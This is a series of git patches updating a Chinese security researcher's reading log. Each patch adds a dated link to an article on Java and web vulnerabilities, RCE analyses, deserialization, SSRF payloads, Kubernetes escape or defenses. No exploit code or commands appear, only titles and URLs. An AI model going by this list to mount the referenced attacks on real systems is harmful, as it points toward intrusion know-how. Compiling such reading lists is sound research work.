[从挑战赛看阿里云RASP防御优势与云上最佳实践](https://mp.weixin.qq.com/s?__biz=MzA4MTQ2MjI5OA==&mid=2664088876&idx=1&sn=cc29a7dc475e08300390eae40902808d&chksm=84aaf059b3dd794fe63c1f8af5cdafbca404bdd2e956a658f0807ba5e74d98cfc9369573e64c&mpshare=1&scene=23&srcid=0313b3xCwrxOPs14Cc4DeDtz&sharer_sharetime=1678702681315&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/03/15 [永恒之蓝Windows10版踩坑复现](https://mp.weixin.qq.com/s/H8cOsXmH0EzDPEBsPgvMrg) ++ 2023/03/17 [老洞新绕](https://mp.weixin.qq.com/s/V1MWq8NBkSDjTBY4AiW6Pw) **tomcat 路径特性和Axis特性** From 48d65e312141dca3421ec78d72f5d2fb56964f3d Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 17 Mar 2023 12:15:35 +0800 Subject: [PATCH 228/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index b0f69b6..1c76aa4 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -296,3 +296,4 @@ + 2023/03/14 [从挑战赛看阿里云RASP防御优势与云上最佳实践](https://mp.weixin.qq.com/s?__biz=MzA4MTQ2MjI5OA==&mid=2664088876&idx=1&sn=cc29a7dc475e08300390eae40902808d&chksm=84aaf059b3dd794fe63c1f8af5cdafbca404bdd2e956a658f0807ba5e74d98cfc9369573e64c&mpshare=1&scene=23&srcid=0313b3xCwrxOPs14Cc4DeDtz&sharer_sharetime=1678702681315&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/03/15 [永恒之蓝Windows10版踩坑复现](https://mp.weixin.qq.com/s/H8cOsXmH0EzDPEBsPgvMrg) + 2023/03/17 [老洞新绕](https://mp.weixin.qq.com/s/V1MWq8NBkSDjTBY4AiW6Pw) **tomcat 路径特性和Axis特性** ++ 2023/03/17 [Spring Boot 如果防护 XSS + SQL 注入攻击 ？一文带你搞定！](https://mp.weixin.qq.com/s/QTUr9ZiXMWqFu1-yhMICjghttps://mp.weixin.qq.com/s/QTUr9ZiXMWqFu1-yhMICjg) From c5e3fd5a005c6f7030be432f06c93deca0810798 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 19 Mar 2023 21:11:47 +0800 Subject: [PATCH 229/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 1c76aa4..898ef28 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -297,3 +297,4 @@ + 2023/03/15 [永恒之蓝Windows10版踩坑复现](https://mp.weixin.qq.com/s/H8cOsXmH0EzDPEBsPgvMrg) + 2023/03/17 [老洞新绕](https://mp.weixin.qq.com/s/V1MWq8NBkSDjTBY4AiW6Pw) **tomcat 路径特性和Axis特性** + 2023/03/17 [Spring Boot 如果防护 XSS + SQL 注入攻击 ？一文带你搞定！](https://mp.weixin.qq.com/s/QTUr9ZiXMWqFu1-yhMICjghttps://mp.weixin.qq.com/s/QTUr9ZiXMWqFu1-yhMICjg) ++ 2023/03/19 [Django下防御Race Condition漏洞](https://mp.weixin.qq.com/s/9f5Hxoyw5ne8IcYx4uwwvQ) From 0d43bc7ef57d10776b06583692dbba4093953358 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 23 Mar 2023 21:11:49 +0800 Subject: [PATCH 230/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 898ef28..ee3471a 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -298,3 +298,4 @@ + 2023/03/17 [老洞新绕](https://mp.weixin.qq.com/s/V1MWq8NBkSDjTBY4AiW6Pw) **tomcat 路径特性和Axis特性** + 2023/03/17 [Spring Boot 如果防护 XSS + SQL 注入攻击 ？一文带你搞定！](https://mp.weixin.qq.com/s/QTUr9ZiXMWqFu1-yhMICjghttps://mp.weixin.qq.com/s/QTUr9ZiXMWqFu1-yhMICjg) + 2023/03/19 [Django下防御Race Condition漏洞](https://mp.weixin.qq.com/s/9f5Hxoyw5ne8IcYx4uwwvQ) ++ 2023/03/23 [redis未授权到shiro反序列化](https://xz.aliyun.com/t/11198) 在shiro中不错，可以尝试找其他触发点，基本上在数据库的操作上 From c291cec664f149a2fb45451db3d479f000046eb5 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 24 Mar 2023 12:45:48 +0800 Subject: [PATCH 231/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index ee3471a..7781424 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -299,3 +299,4 @@ + 2023/03/17 [Spring Boot 如果防护 XSS + SQL 注入攻击 ？一文带你搞定！](https://mp.weixin.qq.com/s/QTUr9ZiXMWqFu1-yhMICjghttps://mp.weixin.qq.com/s/QTUr9ZiXMWqFu1-yhMICjg) + 2023/03/19 [Django下防御Race Condition漏洞](https://mp.weixin.qq.com/s/9f5Hxoyw5ne8IcYx4uwwvQ) + 2023/03/23 [redis未授权到shiro反序列化](https://xz.aliyun.com/t/11198) 在shiro中不错，可以尝试找其他触发点，基本上在数据库的操作上 ++ 2023/03/24 [Flink RCE via jar/plan API Endpoint in JDK8](https://mp.weixin.qq.com/s?srcid=0324U8WlT7MpOqTIt0vM2MJD&scene=23&sharer_sharetime=1679630653991&mid=2247495227&sharer_shareid=33fdea7abe6be586e131951d667ccd06&sn=5ab9bcc3d89d57ff9799f88c3363814c&idx=1&__biz=MzkyNDA5NjgyMg%3D%3D&chksm=c1d9ae62f6ae2774dd25902c116f6c24f3e5bbf68836f676c25aac53f2c6b771b4a3823c3e7e&mpshare=1#rd) **hessian的利用** From 24304a9f545ebf842434f36cacb1220c48c18fea Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 26 Mar 2023 23:25:59 +0800 Subject: [PATCH 232/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 7781424..bfe30ae 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -300,3 +300,4 @@ + 2023/03/19 [Django下防御Race Condition漏洞](https://mp.weixin.qq.com/s/9f5Hxoyw5ne8IcYx4uwwvQ) + 2023/03/23 [redis未授权到shiro反序列化](https://xz.aliyun.com/t/11198) 在shiro中不错，可以尝试找其他触发点，基本上在数据库的操作上 + 2023/03/24 [Flink RCE via jar/plan API Endpoint in JDK8](https://mp.weixin.qq.com/s?srcid=0324U8WlT7MpOqTIt0vM2MJD&scene=23&sharer_sharetime=1679630653991&mid=2247495227&sharer_shareid=33fdea7abe6be586e131951d667ccd06&sn=5ab9bcc3d89d57ff9799f88c3363814c&idx=1&__biz=MzkyNDA5NjgyMg%3D%3D&chksm=c1d9ae62f6ae2774dd25902c116f6c24f3e5bbf68836f676c25aac53f2c6b771b4a3823c3e7e&mpshare=1#rd) **hessian的利用** ++ 2023/03/26 [公开一个macOS命令执行技巧](https://mp.weixin.qq.com/s/GZ5eS_lHiBBb7jHNu6PUgg) **因为自己在使用了** From 9af26cc993bddda3ccc2a202e6f9b0e22d765470 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 27 Mar 2023 19:54:03 +0800 Subject: [PATCH 233/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index bfe30ae..6a21d12 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -301,3 +301,4 @@ + 2023/03/23 [redis未授权到shiro反序列化](https://xz.aliyun.com/t/11198) 在shiro中不错，可以尝试找其他触发点，基本上在数据库的操作上 + 2023/03/24 [Flink RCE via jar/plan API Endpoint in JDK8](https://mp.weixin.qq.com/s?srcid=0324U8WlT7MpOqTIt0vM2MJD&scene=23&sharer_sharetime=1679630653991&mid=2247495227&sharer_shareid=33fdea7abe6be586e131951d667ccd06&sn=5ab9bcc3d89d57ff9799f88c3363814c&idx=1&__biz=MzkyNDA5NjgyMg%3D%3D&chksm=c1d9ae62f6ae2774dd25902c116f6c24f3e5bbf68836f676c25aac53f2c6b771b4a3823c3e7e&mpshare=1#rd) **hessian的利用** + 2023/03/26 [公开一个macOS命令执行技巧](https://mp.weixin.qq.com/s/GZ5eS_lHiBBb7jHNu6PUgg) **因为自己在使用了** ++ 2023/03/27 [Exploiting memory corruption vulnerabilities on Android](https://blog.oversecured.com/Exploiting-memory-corruption-vulnerabilities-on-Android/) From 282f20b743e8af584e7c6c4f7c045de618cc54a6 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 29 Mar 2023 00:24:32 +0800 Subject: [PATCH 234/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 6a21d12..d96dcc5 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -302,3 +302,4 @@ + 2023/03/24 [Flink RCE via jar/plan API Endpoint in JDK8](https://mp.weixin.qq.com/s?srcid=0324U8WlT7MpOqTIt0vM2MJD&scene=23&sharer_sharetime=1679630653991&mid=2247495227&sharer_shareid=33fdea7abe6be586e131951d667ccd06&sn=5ab9bcc3d89d57ff9799f88c3363814c&idx=1&__biz=MzkyNDA5NjgyMg%3D%3D&chksm=c1d9ae62f6ae2774dd25902c116f6c24f3e5bbf68836f676c25aac53f2c6b771b4a3823c3e7e&mpshare=1#rd) **hessian的利用** + 2023/03/26 [公开一个macOS命令执行技巧](https://mp.weixin.qq.com/s/GZ5eS_lHiBBb7jHNu6PUgg) **因为自己在使用了** + 2023/03/27 [Exploiting memory corruption vulnerabilities on Android](https://blog.oversecured.com/Exploiting-memory-corruption-vulnerabilities-on-Android/) ++ 2023/03/29 [zeppelin 未授权任意命令执行漏洞复现](https://edu.hetianlab.com/post/94) From 20b5786ca9b869a15db0ec7a4f46909763ac2ac1 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 31 Mar 2023 18:46:35 +0800 Subject: [PATCH 235/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index d96dcc5..334f5cb 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -303,3 +303,4 @@ + 2023/03/26 [公开一个macOS命令执行技巧](https://mp.weixin.qq.com/s/GZ5eS_lHiBBb7jHNu6PUgg) **因为自己在使用了** + 2023/03/27 [Exploiting memory corruption vulnerabilities on Android](https://blog.oversecured.com/Exploiting-memory-corruption-vulnerabilities-on-Android/) + 2023/03/29 [zeppelin 未授权任意命令执行漏洞复现](https://edu.hetianlab.com/post/94) ++ 2023/03/31 [SQL注入&预编译](https://forum.butian.net/share/1559) From 0cdb50a994eb55971dcaedb1465a83dd0d3d0443 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 31 Mar 2023 23:50:21 +0800 Subject: [PATCH 236/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 334f5cb..fbd35d5 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -303,4 +303,5 @@ + 2023/03/26 [公开一个macOS命令执行技巧](https://mp.weixin.qq.com/s/GZ5eS_lHiBBb7jHNu6PUgg) **因为自己在使用了** + 2023/03/27 [Exploiting memory corruption vulnerabilities on Android](https://blog.oversecured.com/Exploiting-memory-corruption-vulnerabilities-on-Android/) + 2023/03/29 [zeppelin 未授权任意命令执行漏洞复现](https://edu.hetianlab.com/post/94) -+ 2023/03/31 [SQL注入&预编译](https://forum.butian.net/share/1559) ++ 2023/03/31 [SQL注入&预编译](https://forum.butian.net/share/1559) ++ 2023/03/31 [The curl quirk that exposed Burp Suite & Google Chrome](https://portswigger.net/research/the-curl-quirk-that-exposed-burp-suite-amp-google-chrome) **@的问题** From f1466e40c539bf66fbeee93a55d257fa9072de71 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 2 Apr 2023 12:36:47 +0800 Subject: [PATCH 237/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index fbd35d5..20f0e65 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -305,3 +305,4 @@ + 2023/03/29 [zeppelin 未授权任意命令执行漏洞复现](https://edu.hetianlab.com/post/94) + 2023/03/31 [SQL注入&预编译](https://forum.butian.net/share/1559) + 2023/03/31 [The curl quirk that exposed Burp Suite & Google Chrome](https://portswigger.net/research/the-curl-quirk-that-exposed-burp-suite-amp-google-chrome) **@的问题** ++ 2023/04/02 [日志库logback的攻击路径](https://mp.weixin.qq.com/s/OBwxaijYCjnvo8I0OBusug) From 107eef4293456b781659d8cf19b02e8828a481cf Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 2 Apr 2023 13:52:56 +0800 Subject: [PATCH 238/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 20f0e65..8a312d9 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -306,3 +306,4 @@ + 2023/03/31 [SQL注入&预编译](https://forum.butian.net/share/1559) + 2023/03/31 [The curl quirk that exposed Burp Suite & Google Chrome](https://portswigger.net/research/the-curl-quirk-that-exposed-burp-suite-amp-google-chrome) **@的问题** + 2023/04/02 [日志库logback的攻击路径](https://mp.weixin.qq.com/s/OBwxaijYCjnvo8I0OBusug) ++ 2023/04/03 [SSRF payloads](https://pravinponnusamy.medium.com/ssrf-payloads-f09b2a86a8b4) From a43e1358829651bf2ebb0cf4c5db9a3f9bec5ef8 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 2 Apr 2023 17:08:47 +0800 Subject: [PATCH 239/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 8a312d9..ee9b659 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -306,4 +306,5 @@ + 2023/03/31 [SQL注入&预编译](https://forum.butian.net/share/1559) + 2023/03/31 [The curl quirk that exposed Burp Suite & Google Chrome](https://portswigger.net/research/the-curl-quirk-that-exposed-burp-suite-amp-google-chrome) **@的问题** + 2023/04/02 [日志库logback的攻击路径](https://mp.weixin.qq.com/s/OBwxaijYCjnvo8I0OBusug) -+ 2023/04/03 [SSRF payloads](https://pravinponnusamy.medium.com/ssrf-payloads-f09b2a86a8b4) ++ 2023/04/02 [SSRF payloads](https://pravinponnusamy.medium.com/ssrf-payloads-f09b2a86a8b4) ++ 2023/04/02 [DFA敏感词算法](https://mp.weixin.qq.com/s?__biz=MzU1ODcxNDgyMA==&mid=2247484121&idx=1&sn=2f1f40f73124aca46f6572f5235d945a&chksm=fc231872cb549164a13f5f74ce43201390aaeada5f5f897537c3999af583aac184f1ce81d504&mpshare=1&scene=23&srcid=0402QW1pkeLvwamFjHBi3hvz&sharer_sharetime=1680424676004&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) From 2e42e80cbf7c52818c6e849f70ae62818f16fc6d Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 12 Apr 2023 21:12:29 +0800 Subject: [PATCH 240/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index ee9b659..e4eb71e 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -308,3 +308,4 @@ + 2023/04/02 [日志库logback的攻击路径](https://mp.weixin.qq.com/s/OBwxaijYCjnvo8I0OBusug) + 2023/04/02 [SSRF payloads](https://pravinponnusamy.medium.com/ssrf-payloads-f09b2a86a8b4) + 2023/04/02 [DFA敏感词算法](https://mp.weixin.qq.com/s?__biz=MzU1ODcxNDgyMA==&mid=2247484121&idx=1&sn=2f1f40f73124aca46f6572f5235d945a&chksm=fc231872cb549164a13f5f74ce43201390aaeada5f5f897537c3999af583aac184f1ce81d504&mpshare=1&scene=23&srcid=0402QW1pkeLvwamFjHBi3hvz&sharer_sharetime=1680424676004&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) ++ 2023/04/12 [java-exploitation-restrictions-in](https://codewhitesec.blogspot.com/2023/04/java-exploitation-restrictions-in.html) From b2830fa50e3777a76560e6c14a0a61a502380553 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 15 Apr 2023 18:12:17 +0800 Subject: [PATCH 241/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index e4eb71e..86fa42c 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -309,3 +309,4 @@ + 2023/04/02 [SSRF payloads](https://pravinponnusamy.medium.com/ssrf-payloads-f09b2a86a8b4) + 2023/04/02 [DFA敏感词算法](https://mp.weixin.qq.com/s?__biz=MzU1ODcxNDgyMA==&mid=2247484121&idx=1&sn=2f1f40f73124aca46f6572f5235d945a&chksm=fc231872cb549164a13f5f74ce43201390aaeada5f5f897537c3999af583aac184f1ce81d504&mpshare=1&scene=23&srcid=0402QW1pkeLvwamFjHBi3hvz&sharer_sharetime=1680424676004&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/04/12 [java-exploitation-restrictions-in](https://codewhitesec.blogspot.com/2023/04/java-exploitation-restrictions-in.html) ++ 2023/04/15 [Apache Solr 9.1 RCE 分析 CNVD-2023-27598](https://blog.noah.360.net/apache-solr-rce/) **todo** From 090712fbe5fca9150b86a0cfc07ad8a55fcb8074 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 19 Apr 2023 11:24:37 +0800 Subject: [PATCH 242/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 86fa42c..47b3a2d 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -310,3 +310,4 @@ + 2023/04/02 [DFA敏感词算法](https://mp.weixin.qq.com/s?__biz=MzU1ODcxNDgyMA==&mid=2247484121&idx=1&sn=2f1f40f73124aca46f6572f5235d945a&chksm=fc231872cb549164a13f5f74ce43201390aaeada5f5f897537c3999af583aac184f1ce81d504&mpshare=1&scene=23&srcid=0402QW1pkeLvwamFjHBi3hvz&sharer_sharetime=1680424676004&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/04/12 [java-exploitation-restrictions-in](https://codewhitesec.blogspot.com/2023/04/java-exploitation-restrictions-in.html) + 2023/04/15 [Apache Solr 9.1 RCE 分析 CNVD-2023-27598](https://blog.noah.360.net/apache-solr-rce/) **todo** ++ 2023/04/19 [RCE进入内网接管k8s并逃逸进xx网-实战科普教程(一)](https://mp.weixin.qq.com/s?__biz=MzIxNTIzMzM1Ng==&mid=2651106315&idx=1&sn=97e4337a8c5d95952ae44ddf358aa366&chksm=8c6b6a28bb1ce33e57b1985491e7375511a7e87be3a51bce751b94dacec2385a1477c4f89e24&mpshare=1&scene=23&srcid=0419GSbLma7eb91vWCxXAnsM&sharer_sharetime=1681872082937&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **学** From 0be06ea19db6c533e2ba5ee67a05652227ce0e20 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 31 May 2023 14:38:54 +0800 Subject: [PATCH 243/254] Create readme.md --- shell/Groovy/readme.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 shell/Groovy/readme.md diff --git a/shell/Groovy/readme.md b/shell/Groovy/readme.md new file mode 100644 index 0000000..1f20d18 --- /dev/null +++ b/shell/Groovy/readme.md @@ -0,0 +1,3 @@ +Groovy 安全 + +https://xz.aliyun.com/t/10703 From f2a82c2f327caf4848ba9410eb07b0e49f1661c5 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 31 May 2023 15:16:29 +0800 Subject: [PATCH 244/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 47b3a2d..a960fd2 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -311,3 +311,4 @@ + 2023/04/12 [java-exploitation-restrictions-in](https://codewhitesec.blogspot.com/2023/04/java-exploitation-restrictions-in.html) + 2023/04/15 [Apache Solr 9.1 RCE 分析 CNVD-2023-27598](https://blog.noah.360.net/apache-solr-rce/) **todo** + 2023/04/19 [RCE进入内网接管k8s并逃逸进xx网-实战科普教程(一)](https://mp.weixin.qq.com/s?__biz=MzIxNTIzMzM1Ng==&mid=2651106315&idx=1&sn=97e4337a8c5d95952ae44ddf358aa366&chksm=8c6b6a28bb1ce33e57b1985491e7375511a7e87be3a51bce751b94dacec2385a1477c4f89e24&mpshare=1&scene=23&srcid=0419GSbLma7eb91vWCxXAnsM&sharer_sharetime=1681872082937&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **学** ++ 2023/05/31 [Nacos结合Spring Cloud Gateway RCE利用](https://xz.aliyun.com/t/11493) From ad71815b92bc5c81a674e479e2c35d817c1b96e3 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 3 Jun 2023 17:50:33 +0800 Subject: [PATCH 245/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index a960fd2..dff0eb0 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -312,3 +312,4 @@ + 2023/04/15 [Apache Solr 9.1 RCE 分析 CNVD-2023-27598](https://blog.noah.360.net/apache-solr-rce/) **todo** + 2023/04/19 [RCE进入内网接管k8s并逃逸进xx网-实战科普教程(一)](https://mp.weixin.qq.com/s?__biz=MzIxNTIzMzM1Ng==&mid=2651106315&idx=1&sn=97e4337a8c5d95952ae44ddf358aa366&chksm=8c6b6a28bb1ce33e57b1985491e7375511a7e87be3a51bce751b94dacec2385a1477c4f89e24&mpshare=1&scene=23&srcid=0419GSbLma7eb91vWCxXAnsM&sharer_sharetime=1681872082937&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **学** + 2023/05/31 [Nacos结合Spring Cloud Gateway RCE利用](https://xz.aliyun.com/t/11493) ++ 2023/06/03 [Nevado JMS反序列化审计tips](https://novysodope.github.io/2023/04/01/95/) From 97f575a8c79e5c7f67afed23bced47ac87a00a64 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 3 Jun 2023 18:00:28 +0800 Subject: [PATCH 246/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index dff0eb0..f3df6af 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -313,3 +313,4 @@ + 2023/04/19 [RCE进入内网接管k8s并逃逸进xx网-实战科普教程(一)](https://mp.weixin.qq.com/s?__biz=MzIxNTIzMzM1Ng==&mid=2651106315&idx=1&sn=97e4337a8c5d95952ae44ddf358aa366&chksm=8c6b6a28bb1ce33e57b1985491e7375511a7e87be3a51bce751b94dacec2385a1477c4f89e24&mpshare=1&scene=23&srcid=0419GSbLma7eb91vWCxXAnsM&sharer_sharetime=1681872082937&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **学** + 2023/05/31 [Nacos结合Spring Cloud Gateway RCE利用](https://xz.aliyun.com/t/11493) + 2023/06/03 [Nevado JMS反序列化审计tips](https://novysodope.github.io/2023/04/01/95/) ++ 2023/06/03 [Celery Redis未授权访问利用](https://forum.butian.net/share/224) From 06320d964a19c67ad06305ce6f51a0b33a72bf1c Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 4 Jun 2023 14:16:47 +0800 Subject: [PATCH 247/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index f3df6af..71e1c71 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -314,3 +314,4 @@ + 2023/05/31 [Nacos结合Spring Cloud Gateway RCE利用](https://xz.aliyun.com/t/11493) + 2023/06/03 [Nevado JMS反序列化审计tips](https://novysodope.github.io/2023/04/01/95/) + 2023/06/03 [Celery Redis未授权访问利用](https://forum.butian.net/share/224) ++ 2023/06/04 [cname记录是什么？他存在的意义是什么？](https://www.zhihu.com/question/22916306) From 059a82feb5048cc0b23f611230a808caeb08ecb7 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 5 Jun 2023 12:58:53 +0800 Subject: [PATCH 248/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 71e1c71..b0489dc 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -315,3 +315,4 @@ + 2023/06/03 [Nevado JMS反序列化审计tips](https://novysodope.github.io/2023/04/01/95/) + 2023/06/03 [Celery Redis未授权访问利用](https://forum.butian.net/share/224) + 2023/06/04 [cname记录是什么？他存在的意义是什么？](https://www.zhihu.com/question/22916306) ++ 2023/06/05 [ImageMagick 参数注入](https://github.com/ImageMagick/ImageMagick/issues/6338) From 62ea34e74a7a48e93f66684e295caa1c4210de04 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 5 Jun 2023 22:08:24 +0800 Subject: [PATCH 249/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index b0489dc..5352177 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -316,3 +316,4 @@ + 2023/06/03 [Celery Redis未授权访问利用](https://forum.butian.net/share/224) + 2023/06/04 [cname记录是什么？他存在的意义是什么？](https://www.zhihu.com/question/22916306) + 2023/06/05 [ImageMagick 参数注入](https://github.com/ImageMagick/ImageMagick/issues/6338) ++ 2023/06/05 [为什么我们需要收集URL?](https://mp.weixin.qq.com/s/nhU9gbRot3X8D_1AvkirUA) From d481c3578b122a9bb8d7d24a3248889d1078eeef Mon Sep 17 